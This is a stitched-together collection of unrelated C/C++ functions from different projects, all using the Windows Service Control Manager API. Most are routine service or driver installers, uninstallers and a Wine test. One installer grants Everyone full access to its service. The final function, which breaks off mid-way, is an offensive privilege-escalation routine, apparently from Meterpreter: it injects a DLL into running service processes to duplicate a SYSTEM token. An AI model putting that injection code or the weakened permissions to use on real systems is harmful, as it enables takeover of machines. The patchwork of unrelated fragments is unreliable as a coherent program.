BOOL StartStopService(LPCSTR lpServiceName, BOOL bStop) { HANDLE hSCManager; HANDLE hService; SERVICE_STATUS ssStatus; BOOL ret = FALSE; hSCManager = OpenSCManagerA (NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (hSCManager) { hService = OpenServiceA (hSCManager, lpServiceName, SERVICE_START | DELETE | SERVICE_STOP); if (hService) { if (!bStop) { if (StartServiceA (hService, 0, NULL)) { eprintf ("Service started [OK]\n"); ret = TRUE; } else { eprintf ("Service started [FAIL]\n"); } } else { if (ControlService (hService, SERVICE_CONTROL_STOP, &ssStatus)) { eprintf ("Service Stopped [OK]\n"); ret = TRUE; } else { eprintf ("Service Stopped [FAIL]\n"); } } CloseServiceHandle (hService); DeleteService (hService); } CloseServiceHandle (hSCManager); } return ret; }
static DWORD DoRegServer(void) { SC_HANDLE scm, service; CHAR path[MAX_PATH+12]; DWORD ret = 0; scm = OpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CREATE_SERVICE); if (!scm) { fprintf(stderr, "Failed to open the service control manager.\n"); return 1; } GetSystemDirectoryA(path, MAX_PATH); lstrcatA(path, "\\msiexec.exe /V"); service = CreateServiceA(scm, "MSIServer", "MSIServer", GENERIC_ALL, SERVICE_WIN32_SHARE_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, NULL, NULL); if (service) CloseServiceHandle(service); else if (GetLastError() != ERROR_SERVICE_EXISTS) { fprintf(stderr, "Failed to create MSI service\n"); ret = 1; } CloseServiceHandle(scm); return ret; }
int cw_installservice(const char *name, const char *dname, const char *desc) { SC_HANDLE sm, svc; char modulepath[MAX_PATH]; char binpath[MAX_PATH]; SERVICE_DESCRIPTIONA sdesc = { (char *) desc }; if (!GetModuleFileName(NULL, modulepath, MAX_PATH - 1)) { fprintf(stderr, "Unable to get the executable name (%d)\n", GetLastError()); return 0; } if (!cw_uninstallservice(name, 0)) return 0; if (!(sm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE | DELETE))) { if (GetLastError() == ERROR_CALL_NOT_IMPLEMENTED) fprintf(stderr, "Windows Services are not supported on this Platform\n"); else fprintf(stderr, "Unable to Open SCManager (%d)\n", GetLastError()); return 0; } if (strchr(modulepath, ' ')) gnulib_snprintf(binpath, MAX_PATH - 1, "\"%s\" --daemon", modulepath); else gnulib_snprintf(binpath, MAX_PATH - 1, "%s --daemon", modulepath); svc = CreateServiceA(sm, name, dname, SERVICE_CHANGE_CONFIG, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, binpath, NULL, /* Load group order */ NULL, /* Tag Id */ NULL, /* Dependencies */ NULL, /* User -> Local System */ ""); if (!svc) { fprintf(stderr, "Unable to Create Service %s (%d)\n", name, GetLastError()); CloseServiceHandle(sm); return 0; } /* ChangeServiceConfig2A() */ if (cw_helpers.av32.ChangeServiceConfig2A && (!cw_helpers.av32.ChangeServiceConfig2A(svc, SERVICE_CONFIG_DESCRIPTION, &sdesc))) fprintf(stderr, "Unable to set description for Service %s (%d)\n", name, GetLastError()); CloseServiceHandle(svc); CloseServiceHandle(sm); printf("Service %s successfully created\n", name); return 1; }
// // FUNCTION: CmdStartService() // // PURPOSE: Starts the service // // PARAMETERS: // // lpszServerName - Target server name. NULL for local machine // // RETURN VALUE: // none // // COMMENTS: // bool CNTService::Start(void) { SC_HANDLE ServiceHandle; SC_HANDLE ServiceManager; cout << "Attempting to start " << m_ServiceName << " ..." << endl; ServiceManager = OpenSCManagerA( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if ( !ServiceManager ) { cout << "OpenSCManager failed." << endl; CObject::ShowLastError(); return false; } ServiceHandle = OpenServiceA(ServiceManager, m_ServiceName.GetBuffer(), SERVICE_ALL_ACCESS); if (!ServiceHandle) { cout << "OpenService failed." << endl; CObject::ShowLastError(); CloseServiceHandle (ServiceManager); return false; } if ( StartService( ServiceHandle, 0, NULL )) { cout << "Starting " << m_ServiceDisplayName << endl; base_sleep(1); while( QueryServiceStatus( ServiceHandle, &m_ServiceStatus) ) { if ( m_ServiceStatus.dwCurrentState == SERVICE_START_PENDING ) { cout << '.'; cout.flush(); base_sleep(1); } else break; } if ( m_ServiceStatus.dwCurrentState == SERVICE_RUNNING ) cout << m_ServiceDisplayName << " started." << endl; else cout << m_ServiceDisplayName << " could not be started." << endl; } CloseServiceHandle (ServiceManager); CloseServiceHandle (ServiceHandle); return true; }
static BOOL InstallService(const char * rutaDriver, LPCSTR lpServiceName, LPCSTR lpDisplayName) { HANDLE hService; BOOL ret = FALSE; HANDLE hSCManager = OpenSCManagerA (NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (hSCManager) { hService = CreateServiceA (hSCManager, lpServiceName, lpDisplayName, SERVICE_START | DELETE | SERVICE_STOP, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, rutaDriver, NULL, NULL, NULL, NULL, NULL); if (hService) { CloseServiceHandle (hService); ret = TRUE; } CloseServiceHandle (hSCManager); } return ret; }
static BOOL RemoveService(LPCSTR lpServiceName) { HANDLE hService; BOOL ret = FALSE; HANDLE hSCManager = OpenSCManagerA (NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (hSCManager) { hService = OpenServiceA (hSCManager, lpServiceName, SERVICE_START | DELETE | SERVICE_STOP); if (hService) { DeleteService (hService); CloseServiceHandle (hService); ret = TRUE; } CloseServiceHandle (hSCManager); } return ret; }
DWORD MyDriver::StopDriver(void) { if(!started) return DRV_SUCCESS; SC_HANDLE SCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS); DWORD retCode; if (SCManager == NULL) return DRV_ERROR_SCM; SERVICE_STATUS status; SC_HANDLE SCService = OpenServiceA(SCManager, driverName, SERVICE_ALL_ACCESS); if (SCService != NULL) { CloseHandle(driverHandle); driverHandle = NULL; if(!ControlService(SCService, SERVICE_CONTROL_STOP, &status)) retCode = DRV_ERROR_STOPPING; else retCode = DRV_SUCCESS; } else retCode = DRV_ERROR_SERVICE; CloseServiceHandle(SCService); SCService = NULL; CloseServiceHandle(SCManager); SCManager = NULL; if(retCode == DRV_SUCCESS) started = FALSE; return retCode; }
int cw_uninstallservice(const char *name, int verbose) { SC_HANDLE sm, svc; int ret = 1; if (!(sm = OpenSCManagerA(NULL, NULL, DELETE))) { if (GetLastError() == ERROR_CALL_NOT_IMPLEMENTED) fprintf(stderr, "Windows Services are not supported on this Platform\n"); else fprintf(stderr, "Unable to Open SCManager (%d)\n", GetLastError()); return 0; } if ((svc = OpenServiceA(sm, name, DELETE))) { if (DeleteService(svc)) { if (verbose) printf("Service %s successfully removed\n", name); } else { fprintf(stderr, "Unable to Open Service %s (%d)\n", name, GetLastError()); ret = 0; } } else { if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { if (verbose) printf("Service %s does not exist\n", name); } else { fprintf(stderr, "Unable to Open Service %s (%d)\n", name, GetLastError()); ret = 0; } } if (svc) CloseServiceHandle(svc); CloseServiceHandle(sm); return ret; }
static void test_install_svc_from(void) { char inf[2048]; char path[MAX_PATH]; HINF infhandle; BOOL ret; SC_HANDLE scm_handle, svc_handle; /* Bail out if we are on win98 */ SetLastError(0xdeadbeef); scm_handle = OpenSCManagerA(NULL, NULL, GENERIC_ALL); if (!scm_handle && (GetLastError() == ERROR_CALL_NOT_IMPLEMENTED)) { win_skip("OpenSCManagerA is not implemented, we are most likely on win9x\n"); return; } CloseServiceHandle(scm_handle); /* Basic inf file to satisfy SetupOpenInfFileA */ strcpy(inf, "[Version]\nSignature=\"$Chicago$\"\n"); create_inf_file(inffile, inf); sprintf(path, "%s\\%s", CURR_DIR, inffile); infhandle = SetupOpenInfFileA(path, NULL, INF_STYLE_WIN4, NULL); /* Nothing but the Version section */ SetLastError(0xdeadbeef); ret = SetupInstallServicesFromInfSectionA(infhandle, "Winetest.Services", 0); ok(!ret, "Expected failure\n"); ok(GetLastError() == ERROR_SECTION_NOT_FOUND, "Expected ERROR_SECTION_NOT_FOUND, got %08x\n", GetLastError()); SetupCloseInfFile(infhandle); DeleteFileA(inffile); /* Add the section */ strcat(inf, "[Winetest.Services]\n"); create_inf_file(inffile, inf); infhandle = SetupOpenInfFileA(path, NULL, INF_STYLE_WIN4, NULL); SetLastError(0xdeadbeef); ret = SetupInstallServicesFromInfSectionA(infhandle, "Winetest.Services", 0); ok(!ret, "Expected failure\n"); ok(GetLastError() == ERROR_SECTION_NOT_FOUND, "Expected ERROR_SECTION_NOT_FOUND, got %08x\n", GetLastError()); SetupCloseInfFile(infhandle); DeleteFileA(inffile); /* Add a reference */ strcat(inf, "AddService=Winetest,,Winetest.Service\n"); create_inf_file(inffile, inf); infhandle = SetupOpenInfFileA(path, NULL, INF_STYLE_WIN4, NULL); SetLastError(0xdeadbeef); ret = SetupInstallServicesFromInfSectionA(infhandle, "Winetest.Services", 0); ok(!ret, "Expected failure\n"); ok(GetLastError() == ERROR_BAD_SERVICE_INSTALLSECT, "Expected ERROR_BAD_SERVICE_INSTALLSECT, got %08x\n", GetLastError()); SetupCloseInfFile(infhandle); DeleteFileA(inffile); /* Add the section */ strcat(inf, "[Winetest.Service]\n"); create_inf_file(inffile, inf); infhandle = SetupOpenInfFileA(path, NULL, INF_STYLE_WIN4, NULL); SetLastError(0xdeadbeef); ret = SetupInstallServicesFromInfSectionA(infhandle, "Winetest.Services", 0); ok(!ret, "Expected failure\n"); ok(GetLastError() == ERROR_BAD_SERVICE_INSTALLSECT, "Expected ERROR_BAD_SERVICE_INSTALLSECT, got %08x\n", GetLastError()); SetupCloseInfFile(infhandle); DeleteFileA(inffile); /* Just the ServiceBinary */ strcat(inf, "ServiceBinary=%12%\\winetest.sys\n"); create_inf_file(inffile, inf); infhandle = SetupOpenInfFileA(path, NULL, INF_STYLE_WIN4, NULL); SetLastError(0xdeadbeef); ret = SetupInstallServicesFromInfSectionA(infhandle, "Winetest.Services", 0); ok(!ret, "Expected failure\n"); ok(GetLastError() == ERROR_BAD_SERVICE_INSTALLSECT, "Expected ERROR_BAD_SERVICE_INSTALLSECT, got %08x\n", GetLastError()); SetupCloseInfFile(infhandle); DeleteFileA(inffile); /* Add the ServiceType */ strcat(inf, "ServiceType=1\n"); create_inf_file(inffile, inf); infhandle = SetupOpenInfFileA(path, NULL, INF_STYLE_WIN4, NULL); SetLastError(0xdeadbeef); ret = SetupInstallServicesFromInfSectionA(infhandle, "Winetest.Services", 0); ok(!ret, "Expected failure\n"); ok(GetLastError() == ERROR_BAD_SERVICE_INSTALLSECT, "Expected ERROR_BAD_SERVICE_INSTALLSECT, got %08x\n", GetLastError()); SetupCloseInfFile(infhandle); DeleteFileA(inffile); /* Add the StartType */ strcat(inf, "StartType=4\n"); create_inf_file(inffile, inf); infhandle = SetupOpenInfFileA(path, NULL, INF_STYLE_WIN4, NULL); SetLastError(0xdeadbeef); ret = SetupInstallServicesFromInfSectionA(infhandle, "Winetest.Services", 0); ok(!ret, "Expected failure\n"); ok(GetLastError() == ERROR_BAD_SERVICE_INSTALLSECT, "Expected ERROR_BAD_SERVICE_INSTALLSECT, got %08x\n", GetLastError()); SetupCloseInfFile(infhandle); DeleteFileA(inffile); /* This should be it, the minimal entries to install a service */ strcat(inf, "ErrorControl=1"); create_inf_file(inffile, inf); infhandle = SetupOpenInfFileA(path, NULL, INF_STYLE_WIN4, NULL); SetLastError(0xdeadbeef); ret = SetupInstallServicesFromInfSectionA(infhandle, "Winetest.Services", 0); if (!ret && GetLastError() == ERROR_ACCESS_DENIED) { skip("Not enough rights to install the service\n"); SetupCloseInfFile(infhandle); DeleteFileA(inffile); return; } ok(ret, "Expected success\n"); ok(GetLastError() == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %08x\n", GetLastError()); SetupCloseInfFile(infhandle); DeleteFileA(inffile); scm_handle = OpenSCManagerA(NULL, NULL, GENERIC_ALL); /* Open the service to see if it's really there */ svc_handle = OpenServiceA(scm_handle, "Winetest", DELETE); ok(svc_handle != NULL, "Service was not created\n"); SetLastError(0xdeadbeef); ret = DeleteService(svc_handle); ok(ret, "Service could not be deleted : %d\n", GetLastError()); CloseServiceHandle(svc_handle); CloseServiceHandle(scm_handle); strcpy(inf, "[Version]\nSignature=\"$Chicago$\"\n"); strcat(inf, "[XSP.InstallPerVer]\n"); strcat(inf, "AddReg=AspEventlogMsg.Reg,Perf.Reg,AspVersions.Reg,FreeADO.Reg,IndexServer.Reg\n"); create_inf_file(inffile, inf); sprintf(path, "%s\\%s", CURR_DIR, inffile); infhandle = SetupOpenInfFileA(path, NULL, INF_STYLE_WIN4, NULL); SetLastError(0xdeadbeef); ret = SetupInstallServicesFromInfSectionA(infhandle, "XSP.InstallPerVer", 0); ok(ret, "Expected success\n"); ok(GetLastError() == ERROR_SUCCESS, "Expected ERROR_SUCCESS, got %08x\n", GetLastError()); SetupCloseInfFile(infhandle); DeleteFileA(inffile); /* TODO: Test the Flags */ }
void InstallService() // this function is executed, if someone starts our service exe manually // if our service is installed, we uninstall it and vice versa { CHAR arrCh [MAX_PATH + 1]; SC_HANDLE c1, c2; DWORD c3; SERVICE_STATUS ss; LPQUERY_SERVICE_CONFIG qsc; int i1; bool b1; GetModuleFileName(GetModuleHandle(NULL), arrCh, MAX_PATH); // first we contact the service control manager c1 = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!c1) // didn't work, maybe we asked for too many access rights? c1 = OpenSCManagerA(NULL, NULL, 0); if (c1) { // okay, that worked, now we try to open our service c2 = OpenServiceA(c1, CServiceName, SERVICE_ALL_ACCESS | DELETE); if (c2) { // our service is already installed, let's check the parameters b1 = false; c3 = 0; QueryServiceConfigA(c2, NULL, 0, &c3); if (c3) { qsc = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, c3 * 2); b1 = (QueryServiceConfigA(c2, qsc, c3 * 2, &c3)) && ( (qsc->dwServiceType != CServiceType ) || (qsc->dwStartType != CServiceStart) || (lstrcmpiA(qsc->lpDisplayName, CServiceDescr)) ); LocalFree(qsc); } if (!ControlService(c2, SERVICE_CONTROL_INTERROGATE, &ss)) ss.dwCurrentState = SERVICE_STOPPED; if ((!b1) && (ss.dwCurrentState == SERVICE_RUNNING)) { // the parameters are correct, so we try to stop and remove it if (ControlService(c2, SERVICE_CONTROL_STOP, &ss)) { if (DeleteService(c2)) MessageBox(0, "the service is removed again", "information...", MB_ICONINFORMATION); else MessageBox(0, "the service is stopped, but removing failed", "warning...", MB_ICONWARNING); } else MessageBox(0, "stopping failed", "warning...", MB_ICONWARNING); } else { if (b1) // not all parameters are correct, so we try to correct them if (ChangeServiceConfigA(c2, CServiceType, CServiceStart, SERVICE_ERROR_NORMAL, arrCh, NULL, NULL, NULL, NULL, NULL, CServiceDescr)) MessageBox(0, "correction of service parameters succeeded", "information...", MB_ICONINFORMATION); else MessageBox(0, "correction of service parameters failed", "warning...", MB_ICONWARNING); if (ss.dwCurrentState != SERVICE_RUNNING) // our service was installed, but not running, so we start it if (StartServiceA(c2, 0, NULL)) MessageBox(0, "the service was restarted", "information...", MB_ICONINFORMATION); else MessageBox(0, "restarting failed", "warning...", MB_ICONWARNING); } CloseServiceHandle(c2); } else { // probably our service is not installed yet, so we do that now c2 = CreateServiceA(c1, CServiceName, CServiceDescr, SERVICE_ALL_ACCESS | STANDARD_RIGHTS_ALL, CServiceType, CServiceStart, SERVICE_ERROR_NORMAL, arrCh, NULL, NULL, NULL, NULL, NULL); if (c2) { // installation went smooth // we want to give everyone full access to our service if (!AddAccessForEveryone(c2, SERVICE_ALL_ACCESS | DELETE)) MessageBox(0, "access manipulation didn't work", "warning...", MB_ICONWARNING); // now let's start the service if (StartServiceA(c2, 0, NULL)) { // starting succeeded, but does the service run through? // the service tries to create an ipc queue // if that fails, it stops and removes itself for (i1 = 1; (i1 < 50); i1++) { if (!ControlService(c2, SERVICE_CONTROL_INTERROGATE, &ss)) ss.dwCurrentState = SERVICE_STOPPED; if ((ss.dwCurrentState == SERVICE_RUNNING) || (ss.dwCurrentState == SERVICE_STOPPED)) break; Sleep(50); } if (ss.dwCurrentState == SERVICE_RUNNING) MessageBox(0, "the service is installed now", "information...", MB_ICONINFORMATION); else MessageBox(0, "installation failed (ipc failure)", "warning...", MB_ICONWARNING); } else MessageBox(0, "installation succeeded, but starting failed", "warning...", MB_ICONWARNING); CloseServiceHandle(c2); } else MessageBox(0, "you don't have enough privileges", "sorry...", MB_ICONWARNING); } CloseServiceHandle(c1); } else MessageBox(0, "you don't have enough privileges", "sorry...", MB_ICONWARNING); }
static RU32 uninstallService ( ) { RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" ); SC_HANDLE hScm = NULL; SC_HANDLE hSvc = NULL; RWCHAR svcName[] = { _SERVICE_NAMEW }; SERVICE_STATUS svcStatus = { 0 }; RU32 nRetries = 10; rpal_debug_info( "uninstalling service" ); if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_ALL_ACCESS ) ) ) { if( NULL != ( hSvc = OpenServiceW( hScm, svcName, SERVICE_STOP | SERVICE_QUERY_STATUS | DELETE ) ) ) { if( ControlService( hSvc, SERVICE_CONTROL_STOP, &svcStatus ) ) { while( SERVICE_STOPPED != svcStatus.dwCurrentState && 0 != nRetries ) { rpal_debug_error( "waiting for service to stop..." ); rpal_thread_sleep( 1000 ); if( !QueryServiceStatus( hSvc, &svcStatus ) ) { break; } nRetries--; } if( 0 == nRetries ) { rpal_debug_error( "timed out waiting for service to stop, moving on..." ); } else { rpal_debug_info( "service stopped" ); } } else { rpal_debug_error( "could not stop service: %d", GetLastError() ); } if( DeleteService( hSvc ) ) { rpal_debug_info( "service deleted" ); } else { rpal_debug_error( "could not delete service: %d", GetLastError() ); } CloseServiceHandle( hSvc ); } else { rpal_debug_error( "could not open service: %d", GetLastError() ); } CloseServiceHandle( hScm ); } else { rpal_debug_error( "could not open SCM: %d", GetLastError() ); } rpal_thread_sleep( MSEC_FROM_SEC( 1 ) ); if( rpal_file_delete( destPath, FALSE ) ) { rpal_debug_info( "service executable deleted" ); } else { rpal_debug_error( "could not delete service executable: %d", GetLastError() ); } return GetLastError(); }
static RU32 installService ( ) { HMODULE hModule = NULL; RWCHAR curPath[ RPAL_MAX_PATH ] = { 0 }; RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" ); RWCHAR svcPath[] = _WCH( "\"%SYSTEMROOT%\\system32\\rphcp.exe\" -w" ); SC_HANDLE hScm = NULL; SC_HANDLE hSvc = NULL; RWCHAR svcName[] = { _SERVICE_NAMEW }; RWCHAR svcDisplay[] = { _WCH( "rp_HCP_Svc" ) }; rpal_debug_info( "installing service" ); hModule = GetModuleHandleW( NULL ); if( NULL != hModule ) { if( ARRAY_N_ELEM( curPath ) > GetModuleFileNameW( hModule, curPath, ARRAY_N_ELEM( curPath ) ) ) { if( rpal_file_copy( curPath, destPath ) ) { if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_CREATE_SERVICE ) ) ) { if( NULL != ( hSvc = CreateServiceW( hScm, svcName, svcDisplay, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, svcPath, NULL, NULL, NULL, NULL, _WCH( "" ) ) ) ) { if( StartService( hSvc, 0, NULL ) ) { // Emitting as error level to make sure it's displayed in release. rpal_debug_error( "service installer!" ); return 0; } else { rpal_debug_error( "could not start service: %d", GetLastError() ); } CloseServiceHandle( hSvc ); } else { rpal_debug_error( "could not create service in SCM: %d", GetLastError() ); } CloseServiceHandle( hScm ); } else { rpal_debug_error( "could not open SCM: %d", GetLastError() ); } } else { rpal_debug_error( "could not move executable to service location: %d", GetLastError() ); } } else { rpal_debug_error( "could not get current executable path: %d", GetLastError() ); } CloseHandle( hModule ); } else { rpal_debug_error( "could not get current executable handle: %d", GetLastError() ); } return GetLastError(); }
bool CNTService::Install(void) { SC_HANDLE ServiceHandle; SC_HANDLE ServiceManager; CString ModuleFilename; DWORD dwLen = MAX_PATH; ModuleFilename.SetLength(dwLen); if (!(dwLen = GetModuleFileNameA(GetModuleHandle(NULL), (char *) ModuleFilename.GetBuffer(), dwLen))) { cout << "Error getting module path." << endl; CObject::ShowLastError(); return false; } else { ModuleFilename.SetLength(dwLen); } cout << "Attempting to install " << m_ServiceName << " (" << ModuleFilename << ") ..." << endl; ServiceManager = OpenSCManagerA( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if ( !ServiceManager ) { cout << "OpenSCManager failed." << endl; CObject::ShowLastError(); return false; } CString ServiceDependencies; for (register int i=0; i < (int) m_Dependencies.GetSize(); i++) { ServiceDependencies += m_Dependencies[i]; ServiceDependencies += (char) 0; } ServiceDependencies += (char) 0; ModuleFilename += " service dispatch"; ModuleFilename += (" --servicename=" + m_ServiceName); ModuleFilename += (" --servicedisplayname=" + m_ServiceDisplayName); ServiceHandle = CreateServiceA( ServiceManager, // SCManager database m_ServiceName.GetBuffer(), // name of service m_ServiceDisplayName.GetBuffer(), // name to display SERVICE_ALL_ACCESS, // desired access SERVICE_WIN32_OWN_PROCESS, // service type SERVICE_AUTO_START, // start type SERVICE_ERROR_NORMAL, // error control type ModuleFilename.GetBuffer(), // service's binary NULL, // no load ordering group NULL, // no tag identifier ServiceDependencies.GetBuffer(), // dependencies m_RunasUsername.GetLength() ? m_RunasUsername.GetBuffer() : NULL, // account m_RunasPassword.GetLength() ? m_RunasPassword.GetBuffer() : NULL); // password /* not supported on NT4 // set service description if any DWORD dwSystemVersion = GetVersion(); if (ServiceHandle && m_ServiceDescription.GetLength() && (dwSystemVersion < 0x80000000) && // Windows 2000, XP, NT (LOBYTE(LOWORD(dwSystemVersion)) >= 5) // Windows 2000, XP ) { SERVICE_DESCRIPTIONA ServiceDescription; ServiceDescription.lpDescription = (char *) m_ServiceDescription.GetBuffer(); if (! ChangeServiceConfig2(ServiceHandle, SERVICE_CONFIG_DESCRIPTION, & ServiceDescription)) { cout << "ChangeServiceConfig2 failed." << endl; CObject::ShowLastError(); CloseServiceHandle( ServiceHandle ); if (ServiceManager) CloseServiceHandle( ServiceManager ); return false; } } */ if (! ServiceHandle) { cout << "CreateService failed." << endl; CObject::ShowLastError(); if (ServiceManager) CloseServiceHandle( ServiceManager ); return false; } else { CloseServiceHandle( ServiceHandle ); } if (ServiceManager) { CloseServiceHandle( ServiceManager ); } cout << m_ServiceDisplayName << " successfuly installed." << endl; return true; }
BOOL LoadNTDriver(char* lpszDriverName,char* lpszDriverPath) { char szDriverImagePath[256]; //得到完整的驱动路径 GetFullPathNameA(lpszDriverPath, 256, szDriverImagePath, NULL); BOOL bRet = FALSE; SC_HANDLE hServiceMgr=NULL;//SCM管理器的句柄 SC_HANDLE hServiceDDK=NULL;//NT驱动程序的服务句柄 //打开服务控制管理器 hServiceMgr = OpenSCManagerA( NULL, NULL, SC_MANAGER_ALL_ACCESS ); if( hServiceMgr == NULL ) { //OpenSCManager失败 printf( "OpenSCManager() Faild %d ! \n", GetLastError() ); bRet = FALSE; goto BeforeLeave; } else { ////OpenSCManager成功 printf( "OpenSCManager() ok ! \n" ); } //创建驱动所对应的服务 hServiceDDK = CreateServiceA( hServiceMgr, lpszDriverName, //驱动程序的在注册表中的名字 lpszDriverName, // 注册表驱动程序的 DisplayName 值 SERVICE_ALL_ACCESS, // 加载驱动程序的访问权限 SERVICE_KERNEL_DRIVER,// 表示加载的服务是驱动程序 SERVICE_DEMAND_START, // 注册表驱动程序的 Start 值 SERVICE_ERROR_IGNORE, // 注册表驱动程序的 ErrorControl 值 szDriverImagePath, // 注册表驱动程序的 ImagePath 值 NULL, NULL, NULL, NULL, NULL); DWORD dwRtn; //判断服务是否失败 if( hServiceDDK == NULL ) { dwRtn = GetLastError(); if( dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_EXISTS ) { //由于其他原因创建服务失败 printf( "CrateService() Faild %d ! \n", dwRtn ); bRet = FALSE; goto BeforeLeave; } else { //服务创建失败,是由于服务已经创立过 printf( "CrateService() Faild Service is ERROR_IO_PENDING or ERROR_SERVICE_EXISTS! \n" ); } // 驱动程序已经加载,只需要打开 hServiceDDK = OpenServiceA( hServiceMgr, lpszDriverName, SERVICE_ALL_ACCESS ); if( hServiceDDK == NULL ) { //如果打开服务也失败,则意味错误 dwRtn = GetLastError(); printf( "OpenService() Faild %d ! \n", dwRtn ); bRet = FALSE; goto BeforeLeave; } else { printf( "OpenService() ok ! \n" ); } } else { printf( "CrateService() ok ! \n" ); } //开启此项服务 bRet= StartServiceA( hServiceDDK, NULL, NULL ); if( !bRet ) { DWORD dwRtn = GetLastError(); if( dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_ALREADY_RUNNING ) { printf( "StartService() Faild %d ! \n", dwRtn ); bRet = FALSE; goto BeforeLeave; } else { if( dwRtn == ERROR_IO_PENDING ) { //设备被挂住 printf( "StartService() Faild ERROR_IO_PENDING ! \n"); bRet = FALSE; goto BeforeLeave; } else { //服务已经开启 printf( "StartService() Faild ERROR_SERVICE_ALREADY_RUNNING ! \n"); bRet = TRUE; goto BeforeLeave; } } } bRet = TRUE; //离开前关闭句柄 BeforeLeave: if(hServiceDDK) { CloseServiceHandle(hServiceDDK); } if(hServiceMgr) { CloseServiceHandle(hServiceMgr); } //删除注册表键值 char lpszSrvices[256] = {0}; sprintf(lpszSrvices,"SYSTEM\\CurrentControlSet\\Services\\%s",lpszDriverName); SHDeleteKeyA(HKEY_LOCAL_MACHINE,lpszSrvices); return bRet; }
/* * Elevate from local admin to local system via code injection in a system service. * Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open * service process from a non elevated admin. * * A current limitation in LoadRemoteLibraryR prevents this from working across * architectures so we just filter out running this from an x64 platform for now. */ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hToken = NULL; HANDLE hTokenDup = NULL; HANDLE hProcess = NULL; HANDLE hThread = NULL; HANDLE hManager = NULL; HANDLE hService = NULL; LPVOID lpServiceBuffer = NULL; LPVOID lpRemoteCommandLine = NULL; ENUM_SERVICE_STATUS * lpServices = NULL; char * cpServiceName = NULL; SERVICE_STATUS_PROCESS status = {0}; char cCommandLine[128] = {0}; OSVERSIONINFO os = {0}; DWORD dwServiceLength = 0; DWORD dwBytes = 0; DWORD index = 0; DWORD dwServicesReturned = 0; DWORD dwExitCode = 0; do { // only works on x86 systems for now... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT ); os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" ) // filter out Windows NT4 if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT ) cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME ); dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS ); if( !elevate_priv( SE_DEBUG_NAME, TRUE ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" ); hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE ); if( !hManager ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" ); if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) ) { if( GetLastError() != ERROR_MORE_DATA ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" ); } lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes ); if( !lpServices ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" ); if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" ); dwResult = ERROR_ACCESS_DENIED; // we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully // it means we have been given a system token so we duplicate it as a primary token for use by metsrv. for( index=0 ; index<dwServicesReturned ; index++ ) { do { hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS ); if( !hService ) break; if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) ) break; if( status.dwCurrentState != SERVICE_RUNNING ) break; // open a handle to this service (assumes we have SeDebugPrivilege)... hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId ); if( !hProcess ) 